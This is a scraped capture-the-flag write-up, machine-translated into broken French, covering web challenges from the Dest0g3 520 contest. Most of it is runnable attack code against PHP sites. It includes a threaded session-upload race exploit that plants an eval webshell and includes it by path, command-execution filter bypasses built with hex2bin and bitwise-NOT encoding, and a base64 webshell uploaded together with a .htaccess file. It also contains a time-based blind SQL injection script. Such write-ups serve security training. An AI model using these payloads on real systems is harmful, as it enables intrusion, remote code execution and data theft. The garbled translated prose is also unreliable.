当前位置:网站首页>Dest0g3 520 orientation
Dest0g3 520 orientation
2022-06-13 08:18:00 【XinoÈ】
Fin des deux jours,Inventaire au point d'émission
phpdest
Concours de fichiers
import requests
import io
import threading
url = "http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/"
sessionID = "flag"
data = {
"cmd": "system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a'*1024*50)
resp = session.post(url=url,data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={
'file':('flag.txt',f)},cookies={
'PHPSESSID':sessionID})
def read(session):
while True:
resp = session.post(url='http://a44e2fb2-5cb3-4f96-a03f-9657dedc9a39.node4.buuoj.cn:81/?file=/tmp/sess_flag',data=data)
if 'flag.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("=========retry==========")
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1,5):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,5):
threading.Thread(target=read, args=(session,)).start()
event.set()
EasyPHP
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
Erreur de comptage et sortie flag
ctf[]=123
SimpleRCE
hex2bin Contournement
https://www.pudn.com/news/62809145ebb030486d479342.html
Regarde ça.,Il y a
Enfin, la mise en œuvre
aaa=hex2bin('73797374656d')('head /f*');
Une autre approche
Fa 2
La première chose à considérer est l'absence de lettres rce, Mais trouvé ou exclu par ban Alors réfléchis. —urlContournement inverse
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
payload
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
funny_upload
Type de fichier détecté,Lire comme suit:jpgAprès le document,Le contenu du fichier a été détecté.<?,C'est pourquoi il a été adopté.base64Union.htaccessContournement du pseudo - Protocole
1.jpg
PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
.htaccess
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg
Une fois téléchargé avec succès, le lien de l'épée de fourmi sera disponible.
Really Easy SQL
sqlInjection aveugle,sleepFiltré,Avecbenchmark
import requests
import time
url="http://fec87fc0-85b0-4969-a9d2-7328b18dc98b.node4.buuoj.cn:81/"
flag=''
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #flaggg,user
#payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid) #cmd
payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))<{}),benchmark(2000000,md5(1)),0))or'".format(i,mid)
data={
'username': 'a',
'password': payload
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1.5)
m=mid
except:
n=mid
if(m+1==n):
flag+=chr(m)
print(flag)
break
time.sleep(0.2)
time.sleep(1)
边栏推荐
- 口碑好的食材配送信息化管理系统怎么样?
- 钉钉小程序如何隐藏tab
- The method of SolidWorks modifying text font in engineering drawing
- SQL injection question type (manual injection +sqlmap)
- Word中批注的使用方法
- Amino encoding protocol
- 酒水批发行业应当如何高效管理商品与库存
- MySQL query exercise
- Overall process analysis of account book operation in fabric0.6
- Microservice Project Construction II: database design
猜你喜欢

口碑好的食材配送信息化管理系统怎么样?

Using KVM to create three virtual machines that can communicate with local area network
![[pytorch] pytorch0.4.0 installation tutorial and GPU configuration collection (including test code)](/img/b4/138b7ae8c73e38663ea84ece79273b.jpg)
[pytorch] pytorch0.4.0 installation tutorial and GPU configuration collection (including test code)

AcWing 1977. Information relay (base ring tree, parallel search set)

生鲜配送分拣管理系统哪家比较强?

How about a well-known food material distribution information management system?

Which is the stronger fresh food distribution and sorting management system?

es6删除对象的某个属性

Introduction to dfinity (ICP) -1

About redis encapsulation tool class using distributed locks
随机推荐
IPFs cluster setup process
Amino encoding protocol
基于paddlepaddle的新冠肺炎识别
MySQL query exercise 3
Introduction to dfinity (ICP) -1
汽配行业面临的难题用什么软件帮忙解决呢
Redis interview questions
[pytorch] pytorch0.4.0 installation tutorial and GPU configuration collection (including test code)
Basic operation of dfinity (ICP) development-4
EHD ether coin, the hottest dpoc mining project
Start from scratch - implement the jpetstore website -1- establish the project framework and project introduction
[game theory complete information static game] Application of Nash equilibrium
File upload question type
Give code vitality -- the way to read code neatly
HCIP_ MGRE comprehensive experiment
ERP basic data concept
【博弈论-完全信息静态博弈】 Nash均衡
Idea shortcut summary
Motiko basic syntax in dfinity (ICP) -8
How to hide tabs in nailing applet